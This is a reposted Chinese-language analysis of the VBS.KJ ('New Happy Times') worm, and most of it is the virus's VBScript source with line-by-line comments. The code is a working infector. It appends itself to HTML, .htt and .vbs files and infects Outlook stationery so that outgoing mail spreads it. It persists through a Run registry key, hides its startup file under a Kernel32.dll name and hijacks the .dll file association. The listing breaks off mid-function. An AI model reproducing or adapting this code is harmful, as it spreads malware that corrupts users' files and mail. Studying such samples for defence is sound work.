newhappytime.txt

新欢乐时光源码

VBS.KJ[新欢乐时光病毒]源代码分析[转载]

'    Virus:   VBS.KJ 
'    Analyze by DanceFire ([e-mail]) 
'    2002/7/10 
' 

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk 
Sub KJ_start() 
    '    初始化变量 
    KJSetDim() 
    '    初始化环境 
    KJCreateMilieu() 
    '    感染本地或者共享上与html所在目录 
    KJLikeIt() 
    '    通过vbs感染Outlook邮件模板 
    KJCreateMail() 
    '    进行病毒传播 
    KJPropagate() 
End Sub 

'    函数：KJAppendTo(FilePath,TypeStr) 
'    功能：向指定类型的指定文件追加病毒 
'    参数： 
'        FilePath     指定文件路径 
'        TypeStr      指定类型 
Function KJAppendTo(FilePath,TypeStr) 
    On Error Resume Next 
    '    以只读方式打开指定文件 
    Set ReadTemp = FSO.OpenTextFile(FilePath,1) 
    '    将文件内容读入到TmpStr变量中 
    TmpStr = ReadTemp.ReadAll 
    '    判断文件中是否存在"KJ_start()"字符串，若存在说明已经感染，退出函数； 
    '    若文件长度小于1，也退出函数。 
    If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then 
        ReadTemp.Close 
        Exit Function 
    End If 
    '    如果传过来的类型是"htt" 
    '        在文件头加上调用页面的时候加载KJ_start()函数; 
    '        在文件尾追加html版本的加密病毒体。 
    '    如果是"html" 
    '        在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体; 
    '    如果是"vbs" 
    '        在文件尾追加vbs版本的病毒体 
    If TypeStr = "htt" Then 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,2) 
        FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText 
        FileTemp.Close 
        Set FAttrib = FSO.GetFile(FilePath) 
        FAttrib.attributes = 34 
    Else 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,8) 
        If TypeStr = "html" Then 
            FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        ElseIf TypeStr = "vbs" Then 
            FileTemp.Write vbCrLf & VbsText 
        End If 
        FileTemp.Close 
    End If 
End Function 

'    函数：KJChangeSub(CurrentString,LastIndexChar) 
'    功能：改变子目录以及盘符 
'    参数： 
'        CurrentString    当前目录 
'        LastIndexChar    上一级目录在当前路径中的位置 
Function KJChangeSub(CurrentString,LastIndexChar) 
    '    判断是否是根目录 
    If LastIndexChar = 0 Then 
        '    如果是根目录 
        '        如果是C:\，返回FinalyDisk盘，并将SubE置为0， 
        '        如果不是C:\，返回将当前盘符递减1，并将SubE置为0 
        If Left(LCase(CurrentString),1) =< LCase("c") Then 
            KJChangeSub = FinalyDisk & ":\" 
            SubE = 0 
        Else 
            KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" 
            SubE = 0 
        End If 
    Else 
        '    如果不是根目录，则返回上一级目录名称 
        KJChangeSub = Mid(CurrentString,1,LastIndexChar) 
    End If 
End Function 

'    函数：KJCreateMail() 
'    功能：感染邮件部分 
Function KJCreateMail() 
    On Error Resume Next 
    '    如果当前执行文件是"html"的，就退出函数 
    If InWhere = "html" Then 
        Exit Function 
    End If 
    '    取系统盘的空白页的路径 
    ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" 
    '    如果存在这个文件，就向其追加html的病毒体 
    '    否则生成含有病毒体的这个文件 
    If (FSO.FileExists(ShareFile)) Then 
        Call KJAppendTo(ShareFile,"html") 
    Else 
        Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) 
        FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        FileTemp.Close 
    End If 
    '    取得当前用户的ID和OutLook的版本 
    DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") 
    OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") 
    '    激活信纸功能，并感染所有信纸 
    WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") 
    KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") 
End Function 


'     函数:KJCreateMilieu() 
'     功能：创建系统环境 
Function KJCreateMilieu() 
    On Error Resume Next 
    TempPath = "" 
    '     判断操作系统是NT/2000还是9X 
    If Not(FSO.FileExists(WinPath & "WScript.exe")) Then 
        TempPath = "system32\" 
    End If 
    '     为了文件名起到迷惑性，并且不会与系统文件冲突。 
    '     如果是NT/2000则启动文件为system\Kernel32.dll 
    '     如果是9x启动文件则为system\Kernel.dll 
    If TempPath = "system32\" Then 
        StartUpFile = WinPath & "SYSTEM\Kernel32.dll" 
    Else 
        StartUpFile = WinPath & "SYSTEM\Kernel.dll" 
    End If 
    '     添加Run值，添加刚才生成的启动文件路径 
    WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile 
    '    拷贝前期备份的文件到原来的目录 
    FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" 
    FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" 
    '    向%windir%\web\Folder.htt追加病毒体 
    Call KJAppendTo(WinPath & "web\Folder.htt","htt") 
    '    改变dll的MIME头 
    '    改变dll的默认图标 
    '    改变dll的打开方式 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" 
    '    启动时加载的病毒文件中写入病毒体 
    Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) 
    FileTemp.Write VbsText 
    FileTemp.Close 
End Function 

'    函数：KJLikeIt() 
'    功能：针对html文件进行处理，如果访问的是本地的或者共享上的文件，将感染这个目录 
Function KJLikeIt() 
    '    如果当前执行文件不是"html"的就退出程序 
    If InWhere <> "html" Then 
        Exit Function 
    End If 
    '    取得文档当前路径 
    ThisLocation = document.location 
    '    如果是本地或网上共享文件 
    If Left(ThisLocation, 4) = "file" Then 
        ThisLocation = Mid(ThisLocation,9) 
        '    如果这个文件扩展名不为空，在ThisLocation中保存它的路径 
        If FSO.GetExtensionName(ThisLocation) <> "" then 
            ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) 
        End If 
        '    如果ThisLocation的长度大于3就尾追一个"\" 
        If Len(ThisLocation) > 3 Then 
            ThisLocation = ThisLocation & "\" 
        End If 
        '    感染这个目录 
        KJummageFolder(ThisLocation) 
    End If 
End Function 

'    函数：KJMailReg(RegStr,FileName) 
'    功能：如果注册表指定键值不存在，则向指定位置写入指定文件名 
'    参数： 
'        RegStr       注册表指定键值 
'        FileName     指定文件名 
Function KJMailReg(RegStr,FileName) 
    On Error Resume Next 
    '    如果注册表指定键值不存在，则向指定位置写入指定文件名 
    RegTempStr = WsShell.RegRead(RegStr) 
    If RegTempStr = "" Then 
        WsShell.RegWrite RegStr,FileName 
    End If 
End Function 

'    函数：KJOboSub(CurrentString)